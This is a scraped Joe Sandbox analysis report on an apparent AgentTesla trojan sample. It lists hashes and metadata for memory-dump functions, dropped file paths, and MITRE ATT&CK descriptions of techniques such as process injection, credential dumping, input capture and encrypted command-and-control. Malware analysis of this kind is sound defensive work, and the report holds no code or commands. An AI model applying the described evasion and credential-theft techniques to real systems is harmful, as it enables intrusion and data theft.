Opcode ID: bdc21b179a7abb2f40224d8cf75432e815e86ab00188b399f533ffc2432786e1
Instruction ID: cd9f591203ef0bc3f90d1bc57ae4281a3d4c3ab07a09f944680e32aa52ad1509
Opcode Fuzzy Hash: bdc21b179a7abb2f40224d8cf75432e815e86ab00188b399f533ffc2432786e1
Instruction Fuzzy Hash: AF017131B102114FEB65957C985476FB7E6EBCA710F14883AE80AC7395DA65DC024B82

Uniqueness

Uniqueness Score: -1.00%

Function 065D3870 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df69107233e6f9fb10de844e3004f69cbff327a65f527202f6c693ab61e9815b
Instruction ID: 61a8fd76adaa05e1793a0d00cabfb27a56073870587ee1d4f34b96ed5504861d
Opcode Fuzzy Hash: df69107233e6f9fb10de844e3004f69cbff327a65f527202f6c693ab61e9815b
Instruction Fuzzy Hash: 4F11D0B1D01219AFCB10DF9AD884ACEFBF4FB49710F10812AE918B7240C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065D3869 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d879a17a25107b3d7802de9ecd071b62ff7a24c1842b9380d8b4ffea53c82126
Instruction ID: 961d902925a0236ac1bfa1c47aba150e51ae11b5fbc971dbe86de7d28b176344
Opcode Fuzzy Hash: d879a17a25107b3d7802de9ecd071b62ff7a24c1842b9380d8b4ffea53c82126
Instruction Fuzzy Hash: A721EEB5D0121AAFDB10DF9AD884A8EFBF4FF48710F10812AE518B3240C374A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 065D3DF8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47244fc818aa2da174fbe9540f6b13bb9a8ddd5e5ff70d086c35fa996b7fa5b
Instruction ID: 445da4a34f6240375c1b843deeeae7956a3fd232db94b2ea26d01f120eda36f8
Opcode Fuzzy Hash: c47244fc818aa2da174fbe9540f6b13bb9a8ddd5e5ff70d086c35fa996b7fa5b
Instruction Fuzzy Hash: DE016931B102114BDB74A56D985472FB7DAEBCBB10F208839E90AC73D5DE66DC024B92

Uniqueness

Uniqueness Score: -1.00%

Function 065DA2E8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a5846736870c69085aadb880facd4b748d5581ead4f1e6d1e08975010036f43
Instruction ID: d16daa7e76dcc9a97889e39214986d11265ef7e32c352f61c21442aa30c60c53
Opcode Fuzzy Hash: 9a5846736870c69085aadb880facd4b748d5581ead4f1e6d1e08975010036f43
Instruction Fuzzy Hash: 0001A231B102104FDB71EA7CE95571FB7E6EB86A14F148428E90ACB384EF15DC018B95

Uniqueness

Uniqueness Score: -1.00%

Function 065D3BA1 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa8777b050391967f6f90084cdeb76967d8041f898e27403dccaa82e06fc14a
Instruction ID: 36d025306471467a78cc279a6f3e0f1e354a390287634ed51f4ad1aceb24e33b
Opcode Fuzzy Hash: 5aa8777b050391967f6f90084cdeb76967d8041f898e27403dccaa82e06fc14a
Instruction Fuzzy Hash: FC01F732B1102A8BDF949678DC10BAF7ABAAFC9710F00453AD406E7280DE648C114BD1

Uniqueness

Uniqueness Score: -1.00%

Function 065DED80 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34ed0e8bce8a802fb36d3ef58a3d5c537f287c7cfa8935d72bc850c514b99a3
Instruction ID: fdc9f9ad9fc87af95c564dbbf90bbd541f3d9a4ca07d67bb7cd43f32770e7464
Opcode Fuzzy Hash: c34ed0e8bce8a802fb36d3ef58a3d5c537f287c7cfa8935d72bc850c514b99a3
Instruction Fuzzy Hash: EB01A431B101204BDBB5E52D949572F77DAEBC9624F10843DF50ECB384DE25DC024791

Uniqueness

Uniqueness Score: -1.00%

Function 065DA2F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05509dce1f786b7c956f76803ef5d4c7ecb75035374b1fd44929995269a07fd5
Instruction ID: 3eceb9ee41d26ced73f1f12eccd2904815c498f20291eb9642ccc43ad143788a
Opcode Fuzzy Hash: 05509dce1f786b7c956f76803ef5d4c7ecb75035374b1fd44929995269a07fd5
Instruction Fuzzy Hash: 38018131B101104FDB70AA6CD55071FB3D6EB86A14F108428E40AC7384EE25EC018B95

Uniqueness

Uniqueness Score: -1.00%

Function 065D6410 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2a59afa3f574c6ce5797fce52f7fe224d87b51fac9ef8a12c0d8a526b52960
Instruction ID: e447e2e003f6f6e6f8375adb3897c05e288b74f5e858f311c3b2bbc67c39312c
Opcode Fuzzy Hash: 5c2a59afa3f574c6ce5797fce52f7fe224d87b51fac9ef8a12c0d8a526b52960
Instruction Fuzzy Hash: 3C016D319193958FEB12DB78A9653863FB1BF82104F1585EBC480CB0A3E339880AD796

Uniqueness

Uniqueness Score: -1.00%

Function 065DC7B8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a564d70249f3ea8e6514f191e85663aa1a7680abddd98040636b5445fd491a0
Instruction ID: ef50a78c109ea1a747285cc484c3a0d51582bf0c595ecac41f9690a5831c7d1c
Opcode Fuzzy Hash: 1a564d70249f3ea8e6514f191e85663aa1a7680abddd98040636b5445fd491a0
Instruction Fuzzy Hash: B3F0A036E202289BDB24AA69EC00A9AB73AF784354F104429E901E7384DB31AC00CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 065D82CE Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb5380be7ea3374cc17e843b147457d38b5eaae83125415d5001341d2557eca
Instruction ID: 3e85ffcec71228213eae30f1f5e6f407d5cc701074db07ead7d42c1af3282188
Opcode Fuzzy Hash: 7fb5380be7ea3374cc17e843b147457d38b5eaae83125415d5001341d2557eca
Instruction Fuzzy Hash: 0EF03936A04201DBEFB85A59FD803B873A4FB40260B148462DD09C71D5E731DA45DA91

Uniqueness

Uniqueness Score: -1.00%

Function 065D4639 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8f415e981c57e00f2461e2443e7a5c4bda001c3a92a466ca148c247adf8c87
Instruction ID: 533ac28a871718678964cc5313ae529d6f14008d7bd6d2cb1bd6b73e938f0846
Opcode Fuzzy Hash: ba8f415e981c57e00f2461e2443e7a5c4bda001c3a92a466ca148c247adf8c87
Instruction Fuzzy Hash: D1F09E70A20219DFDB64DF94E8697AEBBB2FF44705F204519E402A7294CFB51D45DF80

Uniqueness

Uniqueness Score: -1.00%

Function 065D6458 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d138504dca74f90a75ddfacdebe15f7230bae778fd5490481d6a20d0052fadb2
Instruction ID: 413391d1162568add5bb9f72d0e05dafb04979f1fe2994ef937e87ea8cb03992
Opcode Fuzzy Hash: d138504dca74f90a75ddfacdebe15f7230bae778fd5490481d6a20d0052fadb2
Instruction Fuzzy Hash: 73E0C2B0E10108ABDF70CEB8C99575A73ACF701244F2084A4D448C7281E273CA068B81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 065D0040 Relevance: 2.0, Instructions: 1959COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 419dbcdd7768028832e25686fe69d27e3225157f30a4c917fc9ecd467eb4ae2c
Instruction ID: b414383d19d8fa66911085878f1161c4a940de91593c3ebcf6a8645038ab4bd9
Opcode Fuzzy Hash: 419dbcdd7768028832e25686fe69d27e3225157f30a4c917fc9ecd467eb4ae2c
Instruction Fuzzy Hash: 6713FB31D10B198ADB21EF68C89069DF7B1FF99300F15D79AE448A7261EB70AAC4CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00FD41F8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\VRm, xrefs: 00FD44AF

Memory Dump Source

Source File: 00000004.00000002.2760392146.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \VRm
API String ID: 0-1931484983
Opcode ID: 86cc5dd189aee05d7b75a1918a8628733ee5d338339127e4023a667bd7df130b
Instruction ID: 380dd9a5d33ae3725538a95e3231ef93e482c0340b33fc77c121ed21c740551f
Opcode Fuzzy Hash: 86cc5dd189aee05d7b75a1918a8628733ee5d338339127e4023a667bd7df130b
Instruction Fuzzy Hash: 50B14F71E00209CFDF14DFA9D8857ADBBF2AF88714F18812AD815A7394EB74A845EF41

Uniqueness

Uniqueness Score: -1.00%

Function 065DE388 Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcae206aca3df274b0e3c5a43a3f6ad020e75cf76fe3a1b3aa7254ee0529c5f7
Instruction ID: 13ad9907bea69a79539e3a941c7a96548a64df27a825f82d531042716049ef2e
Opcode Fuzzy Hash: fcae206aca3df274b0e3c5a43a3f6ad020e75cf76fe3a1b3aa7254ee0529c5f7
Instruction Fuzzy Hash: 5E228D34B102158FDBA4DB68D885BAEB7F2FF89310F248569E406DB391DB35EC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 065BC100 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e04580334565250beccd1d8a47415840c6c212b357cbdc0b1a280e2eaec313d9
Instruction ID: 03313ebe9dab3045f7f8d1f888d3a289f3c75b54c342172488830e94c00a614e
Opcode Fuzzy Hash: e04580334565250beccd1d8a47415840c6c212b357cbdc0b1a280e2eaec313d9
Instruction Fuzzy Hash: DC5256B4521706CFE710CF18E89A1997FB6FB81314BD24609E6A16F2E0DBB464CACF44

Uniqueness

Uniqueness Score: -1.00%

Function 065D7678 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 365310617f6e6affe0b2a303bab332a9a702593a0d9d096bf63983500a6be08a
Instruction ID: deeb77ecb3f19f08e5621f864f71e2729540024230139ed554e2d9c451ed5c17
Opcode Fuzzy Hash: 365310617f6e6affe0b2a303bab332a9a702593a0d9d096bf63983500a6be08a
Instruction Fuzzy Hash: BE121F30A00219DFDB68DF69D854B9EB7B2FF88301F2085A9D409AB395DB359D81DF81

Uniqueness

Uniqueness Score: -1.00%

Function 065D58C0 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2794484168.00000000065D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90de302f1899004b9e4e79abbef9e6ca16f268b7b7ae734d3f3dd2f161e82f9d
Instruction ID: cf3142f36398d02f48e11b750f26aea9e1a9a63a526d450582bceacdf9a35169
Opcode Fuzzy Hash: 90de302f1899004b9e4e79abbef9e6ca16f268b7b7ae734d3f3dd2f161e82f9d
Instruction Fuzzy Hash: 71D1DF31B101148FDF64DB6CC494AAEBBB6FB89320F24846AE54ADB3D1DA71DD05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 065BA868 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2793824534.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_65b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92c242d6fe418d3147a858cdcc174115bb0a2c779fc9fdf8fd8635e12a90b14f
Instruction ID: ff8a0f331d39c22b6011e59c87923abf37cb9261561beb392425ab239ba3a7fb
Opcode Fuzzy Hash: 92c242d6fe418d3147a858cdcc174115bb0a2c779fc9fdf8fd8635e12a90b14f
Instruction Fuzzy Hash: A0A15B32E0070A8FCF55DFA5C8805DEBBB2FF84300B15556AE815AB255DB75E945CF80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Function 065D5178 Relevance: 1.8, Strings: 1, Instructions: 583
COMMON

Function 00FD70A8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 065B3602 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Function 065B3610 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 065BBA18 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Function 065BDFC5 Relevance: 1.6, APIs: 1, Instructions: 139
COMMON

Function 065BE004 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Function 065BE010 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 00FD70A0 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Function 065B3850 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 065BA9A8 Relevance: 1.6, APIs: 1, Instructions: 63
libraryCOMMON

Function 065B3858 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
